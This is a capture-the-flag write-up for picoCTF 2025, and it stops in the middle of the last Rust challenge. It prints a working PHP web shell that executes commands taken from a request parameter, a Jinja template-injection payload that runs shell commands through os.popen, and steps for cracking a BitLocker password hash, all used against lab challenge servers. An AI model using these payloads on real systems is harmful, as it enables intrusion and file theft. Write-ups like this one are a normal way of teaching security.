Page cover image

Pico CTF 2025

Hey, fellow hackers! 🏴‍☠️

I’m dropping a writeup for the Pico CTF 2025 challenges!️. I teamed up with my squad, P4rad0x. Let’s jump straight into the action! 💻🔥

Web

Challenge Description

A challenge named after everyone’s favorite blue, cookie-loving monster. The challenge name hints at cookies, implying that authentication or sensitive information might be stored within browser cookies.

Developer Tools

Upon visiting the website, I inspected the cookies using the browser's developer tools (Application > Cookies).

The cookie value was base64-encoded, which is a common method of simple obfuscation.

Decoding the base64 string revealed the flag.

CyberChef

picoCTF{c00k1e_m0nster_l0ves_c00kies_057BCB51}

Heap-Dump

Challenge Description

A web-based challenge involving an API where memory dumps might be accessible.

Website

Navigated through the web interface and identified api-docs revealing various API endpoints.

API endpoints

One particular endpoint, /heapdump, caught my attention as it could contain sensitive memory data. Using curl, I accessed the /heapdump and filtered through the output with grep to extract the flag.

r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25 
  λ curl http://verbal-sleep.picoctf.net:52248/heapdump | grep "picoCTF{"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
 30 8748k   30 2690k    0     0   489k      0  0:00:17  0:00:05  0:00:12  633k
 picoCTF{Pat!3nt_15_Th3_K3y_388d10f7}
100 8748k  100 8748k    0     0  1274k      0  0:00:06  0:00:06 --:--:-- 2430k

picoCTF{Pat!3nt_15_Th3_K3y_388d10f7}

n0s4n1ty 1

Challenge Description

This challenge involved a file upload functionality that could be exploited for Remote Code Execution (RCE).

Website

The website allowed users to upload files without restriction. I attempted uploading a basic PHP command injection script to execute arbitrary commands.

    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
    if(isset($_GET['cmd']))
    {
    system($_GET['cmd']);
    }
    ?>
    </pre>
    </body>
    </html>

After successfully uploading the file, I accessed it via the browser and executed system commands. Using cat flag, I retrieved the flag from the server.

Flag

picoCTF{wh47_c4n_u_d0_wPHP_a4ca6ea0}

SSTI1

Challenge Description

A web form suggested the possibility of Server-Side Template Injection (SSTI), a common vulnerability in improperly sanitized template engines.

Entered {{ 7*7 }} in the input field to confirm SSTI vulnerability. The output 49 verified that user input was being evaluated as code.

SSTI input
SSTI output

Once the vulnerability is confirmed, I can escalate it to execute system commands or read sensitive files. Extracted the flag using:

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
Flag

Reversing

Flag Hunters

Challenge Description

This challenge presented a Python script that dynamically sings a song, inserting the flag into the lyrics. The flag is stored in a file called flag.txt and is referenced within the script.

import re
import time


# Read in flag from file
flag = open('flag.txt', 'r').read()

secret_intro = \
'''Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, '''\
+ flag + '\n'


song_flag_hunters = secret_intro +\
'''

[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
CROWD (Singalong here!);
RETURN

[VERSE1]
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?

REFRAIN;

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.

REFRAIN;

Binary sorcerers, let’s tear it apart,
Disassemble the code to reveal the dark heart.
From opcode to logic, tracing each line,
Emulate and break it, this key will be mine.
Debugging the maze, and I see through the deceit,
Patch it up right, and watch the lock release.

REFRAIN;

Ciphertext tumbling, breaking the spin,
Feistel or AES, we’re destined to win.
Frequency, padding, primes on the run,
Vigenère, RSA, cracking them for fun.
Shift the letters, matrices fall,
Decrypt that flag and hear the ether call.

REFRAIN;

SQL injection, XSS flow,
Map the backend out, let the database show.
Inspecting each cookie, fiddler in the fight,
Capturing requests, push the payload just right.
HTML's secrets, backdoors unlocked,
In the world wide labyrinth, we’re never lost.

REFRAIN;

Stack's overflowing, breaking the chain,
ROP gadget wizardry, ride it to fame.
Heap spray in silence, memory's plight,
Race the condition, crash it just right.
Shellcode ready, smashing the frame,
Control the instruction, flags call my name.

REFRAIN;

END;
'''

MAX_LINES = 100

def reader(song, startLabel):
  lip = 0
  start = 0
  refrain = 0
  refrain_return = 0
  finished = False

  # Get list of lyric lines
  song_lines = song.splitlines()
  
  # Find startLabel, refrain and refrain return
  for i in range(0, len(song_lines)):
    if song_lines[i] == startLabel:
      start = i + 1
    elif song_lines[i] == '[REFRAIN]':
      refrain = i + 1
    elif song_lines[i] == 'RETURN':
      refrain_return = i

  # Print lyrics
  line_count = 0
  lip = start
  while not finished and line_count < MAX_LINES:
    line_count += 1
    for line in song_lines[lip].split(';'):
      if line == '' and song_lines[lip] != '':
        continue
      if line == 'REFRAIN':
        song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
        lip = refrain
      elif re.match(r"CROWD.*", line):
        crowd = input('Crowd: ')
        song_lines[lip] = 'Crowd: ' + crowd
        lip += 1
      elif re.match(r"RETURN [0-9]+", line):
        lip = int(line.split()[1])
      elif line == 'END':
        finished = True
      else:
        print(line, flush=True)
        time.sleep(0.5)
        lip += 1



reader(song_flag_hunters, '[VERSE1]')

Understanding the code:

  • The script reads the flag from flag.txt and integrates it into the song lyrics.

  • It defines a song structure using labeled sections ([VERSE1], [REFRAIN], etc.).

  • The function reader(song, startLab``el) processes the song lyrics and follows control flow logic based on RETURN statements and user input.

  • The Crowd: prompt expects input, but simply providing RETURN 0;RETURN 0 skips unnecessary interaction and proceeds to reveal the flag.

  • The ';' is provided here because of for line in song_lines[lip].split(';'): splits the songs label with it and it will be converted into integer here elif re.match(r"RETURN [0-9]+", line): and it goes to the line "0" which is start of the program where it has the flag.

Connected to the remote instance via Netcat:

nc verbal-sleep.picoctf.net 59025

Observed the song lyrics being printed dynamically. Responded with RETURN 0;RETURN 0 when prompted, allowing the script to cycle through and eventually print the flag

 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Reversing 
  λ nc verbal-sleep.picoctf.net 59025
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?

We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: RETURN 0;RETURN 0

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.

We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: RETURN 0
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_a3d964ee}


[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
...

picoCTF{70637h3r_f0r3v3r_a3d964ee}

Forensics

RED

Challenge Description

In this challenge, I was provided with a PNG file red.png and the word "RED" is all over the challenge.

The first step was to analyze the image using forensic tools. PNG files often hide information through steganography.

The zsteg tool, commonly used for extracting hidden messages from PNG images, was employed for analysis.

r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ zsteg red.png             
meta Poem           .. text: "Crimson heart, vibrant and bold,\nHearts flutter at your sight.\nEvenings glow softly red,\nCherries burst with sweet life.\nKisses linger with your warmth.\nLove deep as merlot.\nScarlet leaves falling softly,\nBold in every stroke."
b1,rgba,lsb,xy      .. text: "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ=="
b1,rgba,msb,xy      .. file: OpenPGP Public Key
b2,g,lsb,xy         .. text: "ET@UETPETUUT@TUUTD@PDUDDDPE"
b2,rgb,lsb,xy       .. file: OpenPGP Secret Key
b2,bgr,msb,xy       .. file: OpenPGP Public Key
b2,rgba,lsb,xy      .. file: OpenPGP Secret Key
b2,rgba,msb,xy      .. text: "CIkiiiII"
b2,abgr,lsb,xy      .. file: OpenPGP Secret Key
b2,abgr,msb,xy      .. text: "iiiaakikk"
b3,rgba,msb,xy      .. text: "#wb#wp#7p"
b3,abgr,msb,xy      .. text: "7r'wb#7p"
b4,b,lsb,xy         .. file: 0421 Alliant compact executable not stripped

Running zsteg red.png revealed a Base64-encoded string. Decoding the Base64 string revealed the flag.

r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ echo "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==" | base64 -d 
picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}%      

picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}

Ph4nt0m 1ntrud3r

Challenge Description

The challenge provided a PCAP (Packet Capture) file myNetworkTraffic.pcap. Given the nature of network forensic challenges, I anticipated the flag might be hidden within packet data.

First, I opened the PCAP file using Wireshark. Observed a significant amount of TCP segment data, possibly encrypted or encoded.

Wireshark

Used tshark to extract TCP segment data. The data is indeed encoded using base64 and I decoded it.

 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ tshark -Y "frame.len != 48" -T fields -e "tcp.segment_data" -r myNetworkTraffic.pcap | xxd -r -p | base64 -d 
nt_th4t}e1ff063_34sy_t{1t_w4spicoCTFbh_4r_2

There is so much unwanted data with frame length of "48" so i removed it and the remaining is the flag in wrong order.

nt_th4t } e1ff063 _34sy_t {1t_w4s picoCTF bh_4r_2

I assembled it as flag.

picoCTF{1t_w4snt_th4t_34sy_tbh_4r_2e1ff063}

Bitlocker-1

Challenge Description

The challenge provided a Windows BitLocker-encrypted image file (MBR Boot Sector File) bitlocker.dd. The goal was to unlock and extract the flag.

First step for Identifying the file type I used the file command to confirm that the provided .dd file was an MBR boot sector with BitLocker encryption.

 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ file bitlocker-1.dd 
bitlocker-1.dd: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "-FVE-FS-", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 124499968, FAT (32 bit), sectors/FAT 8160, serial number 0, unlabeled; NTFS, sectors/track 63, physical drive 0x1fe0, $MFT start cluster 393217, serial number 02020454d414e204f, checksum 0x41462020 

Secondly for the extracting password hashes I used bitlocker2john to extract BitLocker password hashes from the image file.

 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ bitlocker2john -i bitlocker-1.dd > bithash
 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ cat bithash 
Encrypted device bitlocker-1.dd opened, size 100MB
Salt: 2b71884a0ef66f0b9de049a82a39d15b
RP Nonce: 00be8a46ead6da0106000000
RP MAC: a28f1a60db3e3fe4049a821c3aea5e4b
RP VMK: a1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58

UP Nonce: d04d9c58eed6da010a000000
UP MAC: 68156e51e53f0a01c076a32ba2b2999a
UP VMK: fffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d


User Password hash:
$bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
Hash type: Recovery Password fast attack
$bitlocker$2$16$2b71884a0ef66f0b9de049a82a39d15b$1048576$12$00be8a46ead6da0106000000$60$a28f1a60db3e3fe4049a821c3aea5e4ba1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58
Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$16$2b71884a0ef66f0b9de049a82a39d15b$1048576$12$00be8a46ead6da0106000000$60$a28f1a60db3e3fe4049a821c3aea5e4ba1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58

For cracking the hash, I used hashcat , which is a popular tool to for cracking hashes. It successfully cracked the hash and retrieved the password -> jacqueline

hashcat

After that, I created a mount point and used dislocker tool to unlock BitLocker.

 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ sudo mkdir -p /media/bitlocker1
 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ sudo mkdir -p /media/bitlocker1mount   
 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ sudo dislocker bitlocker-1.dd -ujacqueline -- /media/bitlocker1

Then I mounted the decrypted BitLocker volume and accessed the file system to read the flag.txt file.

 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ sudo mount -o loop /media/bitlocker1/dislocker-file /media/bitlocker1mount
 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ cd /media/bitlocker1mount 
 r1pp3r 🔱 god2eye /media/bitlocker1mount 
  λ ls    
'$RECYCLE.BIN'  'System Volume Information'   flag.txt
 r1pp3r 🔱 god2eye /media/bitlocker1mount 
  λ cat flag.txt                     

picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}

Cryptography

HashCrack

Challenge Description

In this challenge, I had to connect to a remote server using netcat. Upon connection, the server presented a series of hashed passwords that I needed to crack in order to progress. The hashes were of different types, including MD5, SHA-1, and SHA-256.

Upon connecting to the server:

 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics 
  λ nc verbal-sleep.picoctf.net 57192
Welcome!! Looking For the Secret?

I received the following prompts:

  1. MD5 Hash

We have identified a hash: 482c811da5d5b4bc6d497ffa98491e38
Enter the password for identified hash: password123
Correct! You've cracked the MD5 hash with no secret found!
  • Hash: 482c811da5d5b4bc6d497ffa98491e38

  • Cracked password: password123

  • Response: "Correct! You've cracked the MD5 hash with no secret found!"

  1. SHA-1 Hash

Flag is yet to be revealed!! Crack this hash: b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3
Enter the password for the identified hash: letmein
Correct! You've cracked the SHA-1 hash with no secret found!
  • Hash: b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3

  • Cracked password: letmein

  • Response: "Correct! You've cracked the SHA-1 hash with no secret found!"

  1. SHA-256 Hash

Almost there!! Crack this hash: 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745
Enter the password for the identified hash: qwerty098
Correct! You've cracked the SHA-256 hash with a secret found. 
  • Hash: 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745

  • Cracked password: qwerty098

  • Response: "Correct! You've cracked the SHA-256 hash with a secret found."

The final response revealed the flag:

picoCTF{UseStr0nG_h@shEs_&PaSswDs!_29028be8}

Even RSA Can Be Broken???

Challenge Description

In this challenge, I was given an RSA encryption script encrypt.py and had to decrypt an encrypted flag. The server provided the RSA parameters: N (modulus), e (public exponent), and the ciphertext.

Upon connecting to the server:

 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25 
  λ nc verbal-sleep.picoctf.net 58750
N: 17470496159511701402121574638822269092184012789449285800792030675204077962450373373146334390674974267313767908949654035842664982830622229546668406401194662
e: 65537
cyphertext: 2483140779336152632023994609233273563340180171290952468982510077363722351284629081565020448129911718709969178774488250709110218074958647793528596043594831

Understanding the Encryption Code

The encryption process in encrypt.py follows the standard RSA encryption technique:

from sys import exit
from Crypto.Util.number import bytes_to_long, inverse
from setup import get_primes

e = 65537

def gen_key(k):
    """
    Generates RSA key with k bits
    """
    p,q = get_primes(k//2)
    N = p*q
    d = inverse(e, (p-1)*(q-1))

    return ((N,e), d)

def encrypt(pubkey, m):
    N,e = pubkey
    return pow(bytes_to_long(m.encode('utf-8')), e, N)

def main(flag):
    pubkey, _privkey = gen_key(1024)
    encrypted = encrypt(pubkey, flag) 
    return (pubkey[0], encrypted)

if __name__ == "__main__":
    flag = open('flag.txt', 'r').read()
    flag = flag.strip()
    N, cypher  = main(flag)
    print("N:", N)
    print("e:", e)
    print("cyphertext:", cypher)
    exit()

So, i used an online tool dcode.fr which has RSA decryption function.

dcode.fr

The decrypted message revealed the flag. picoCTF{tw0_1$_pr!m33991588e}

Binary Exploitation

PIE TIME

Challenge Description

In this challenge, I was provided with a remote connection to a binary running on a server:

$ nc rescued-float.picoctf.net 49325

Additionally, we receive two downloadable files:

Analyzing the Source Code

The provided vuln.c code snippet is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

Understanding the code:

  • The program prints the address of the main() function.

  • It prompts the user for an address to jump to.

  • It then treats the given input as a function pointer and executes it.

  • If an incorrect address is given, a segfault handler prevents crashes.

  • The win() function, which prints the flag, is not explicitly called anywhere in the program.

The goal? Find and provide the correct address for win() so the program jumps to it!

Bypassing Position-Independent Executable (PIE)

Since PIE is enabled, the memory addresses change on each execution. However, the offset between functions remains the same. To determine this offset, we analyze the binary using Radare2:

 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/bin_exp 
  λ r2 -d -A vuln             
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x7f468b649b00]> afl
0x55c4b42d41a0    1 47           entry0
0x55c4b42d6fe0    1 4121         reloc.__libc_start_main
0x55c4b42d41d0    4 41   -> 34   sym.deregister_tm_clones
0x55c4b42d4200    4 57   -> 51   sym.register_tm_clones
0x55c4b42d4240    5 57   -> 54   sym.__do_global_dtors_aux
0x55c4b42d40e0    1 11           sym..plt.got
0x55c4b42d4280    1 9            entry.init0
0x55c4b42d4000    3 27           sym._init
0x55c4b42d4480    1 5            sym.__libc_csu_fini
0x55c4b42d4488    1 13           sym._fini
0x55c4b42d4289    1 30           sym.segfault_handler
0x55c4b42d4410    4 101          sym.__libc_csu_init
0x55c4b42d42a7    6 150          sym.win
0x55c4b42d433d    3 204          main
0x55c4b42d4150    1 11           sym.imp.signal
0x55c4b42d4160    1 11           sym.imp.setvbuf
0x55c4b42d4130    1 11           sym.imp.printf
0x55c4b42d4180    1 11           sym.imp.__isoc99_scanf
0x55c4b42d4120    1 11           sym.imp.__stack_chk_fail
0x55c4b42d40f0    1 11           sym.imp.putchar
0x55c4b42d4100    1 11           sym.imp.puts
0x55c4b42d4110    1 11           sym.imp.fclose
0x55c4b42d4140    1 11           sym.imp.fgetc
0x55c4b42d3000    3 126  -> 181  loc.imp._ITM_deregisterTMCloneTable
0x55c4b42d4170    1 11           sym.imp.fopen
0x55c4b42d4190    1 11           sym.imp.exit
[0x7f468b649b00]> 

Observations:

  • The offset between win() and main() is 150 bytes.

  • When we connect to the remote server, it prints the dynamically assigned main() address.

Thus, we can calculate win() address:

win_address = main_address - 150

Connecting to the challenge server:

 r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/bin_exp 
  λ nc rescued-float.picoctf.net 49325
Address of main: 0x576b49c6a33d
Enter the address to jump to, ex => 0x12345: 0x576b49c6a2a7
Your input: 576b49c6a2a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_3d38fb4b}

picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_3d38fb4b}

General Skills

Rust Fixme 1

Challenge Description

This is a challenges which presents a piece of Rust code with several syntax and logical errors. The goal is to identify and fix these issues to successfully decrypt an encrypted message.

Given Rust code with errors:

use xor_cryptor::XORCryptor;

fn main() {
    // Key for decryption
    let key = String::from("CSUCKS") // How do we end statements in Rust?

    // Encrypted flag values
    let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6", "50", "d3", "35"];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values.iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    // Create decrpytion object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        ret; // How do we return in rust?
    }
    let xrc = res.unwrap();

    // Decrypt flag and print it out
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
    println!(
        ":?", // How do we print out a variable in the println function? 
        String::from_utf8_lossy(&decrypted_buffer)
    );
}

Fixed Rust code:

use xor_cryptor::XORCryptor;

fn main() {
    // Key for decryption
    let key = String::from("CSUCKS"); // Fixed missing semicolon

    // Encrypted flag values
    let hex_values = [
        "41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61",
        "25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6",
        "50", "d3", "35",
    ];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values
        .iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    // Create decryption object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return; // Fixed incorrect "ret;" to "return;"
    }
    let xrc = res.unwrap();

    // Decrypt flag and print it out
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);

    println!(
        "{}",
        String::from_utf8_lossy(&decrypted_buffer) // Fixed incorrect ":?" to "{}"
    );
}

Key Fixes and Explanation:

  1. Fixed missing semicolon (;) → Rust requires semicolons to terminate statements.

  2. Replaced ret; with return; → Rust does not have a ret keyword.

  3. Corrected println! syntax → Used {} instead of :? for formatted output.

  4. Passed encrypted_buffer as a reference → Ensures proper memory handling.

picoCTF{4r3_y0u_4_ru$t4c30n_n0w?}

Rust Fixme 2

Challenge Description

In this it requires modifying a function so that it correctly updates a mutable string passed as an argument.

Given Rust code with errors:

use xor_cryptor::XORCryptor;

fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &String){ // How do we pass values to a function that we want to change?

    // Key for decryption
    let key = String::from("CSUCKS");

    // Editing our borrowed value
    borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

    // Create decrpytion object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return; // How do we return in rust?
    }
    let xrc = res.unwrap();

    // Decrypt flag and print it out
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
    borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
    println!("{}", borrowed_string);
}


fn main() {
    // Encrypted flag values
    let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b"];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values.iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    let party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable?
    decrypt(encrypted_buffer, &party_foul); // Is this the correct way to pass a value to a function so that it can be changed?
}

Fixed Rust code:

use xor_cryptor::XORCryptor;

fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) { // Fixed: Use &mut String for modification
    // Key for decryption
    let key = String::from("CSUCKS");

    // Editing our borrowed value
    borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

    // Create decryption object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return;
    }
    let xrc = res.unwrap();

    // Decrypt flag and append it
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
    borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));

    println!("{}", borrowed_string);
}

fn main() {
    // Encrypted flag values
    let hex_values = [
        "41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61",
        "25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9",
        "42", "5b",
    ];

    // Convert hex strings to bytes
    let encrypted_buffer: Vec<u8> = hex_values
        .iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    let mut party_foul = String::from("Using memory unsafe languages is a: "); // Fixed: Make this mutable
    decrypt(encrypted_buffer, &mut party_foul); // Fixed: Pass mutable reference
}

Key Fixes and Explanation:

  1. Used &mut String → Allows modification of borrowed_string inside the function.

  2. Declared party_foul as mutablelet mut party_foul = String::from("...").

  3. Passed party_foul as &mut → Enables mutation within decrypt() .

picoCTF{4r3_y0u_h4v1n5_fun_y31?}

Rust Fixme 3

Challenge Description

This challenge focuses on eliminating unnecessary unsafe operations and ensuring safe memory handling in Rust.

Given Rust code with errors:

use xor_cryptor::XORCryptor;

fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
    // Key for decryption
    let key = String::from("CSUCKS");

    // Editing our borrowed value
    borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

    // Create decryption object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return;
    }
    let xrc = res.unwrap();

    // Did you know you have to do "unsafe operations in Rust?
    // https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html
    // Even though we have these memory safe languages, sometimes we need to do things outside of the rules
    // This is where unsafe rust comes in, something that is important to know about in order to keep things in perspective
    
    // unsafe {
        // Decrypt the flag operations 
        let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);

        // Creating a pointer 
        let decrypted_ptr = decrypted_buffer.as_ptr();
        let decrypted_len = decrypted_buffer.len();
        
        // Unsafe operation: calling an unsafe function that dereferences a raw pointer
        let decrypted_slice = std::slice::from_raw_parts(decrypted_ptr, decrypted_len);

        borrowed_string.push_str(&String::from_utf8_lossy(decrypted_slice));
    // }
    println!("{}", borrowed_string);
}

fn main() {
    // Encrypted flag values
    let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1", "01", "35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3", "61", "f9", "35"];

    // Convert the hexadecimal strings to bytes and collect them into a vector
    let encrypted_buffer: Vec<u8> = hex_values.iter()
        .map(|&hex| u8::from_str_radix(hex, 16).unwrap())
        .collect();

    let mut party_foul = String::from("Using memory unsafe languages is a: ");
    decrypt(encrypted_buffer, &mut party_foul);
}

Fixed Rust code:

use xor_cryptor::XORCryptor;

fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
    // Key for decryption
    let key = String::from("CSUCKS");

    // Editing our borrowed value
    borrowed_string.push_str("PARTY FOUL! Here is your flag: ");

    // Create decryption object
    let res = XORCryptor::new(&key);
    if res.is_err() {
        return;
    }
    let xrc = res.unwrap();

    // Decrypt the flag
    let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);

    // Append decrypted flag to string
    borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));

    println!("{}", borrowed_string);
}

fn main() {
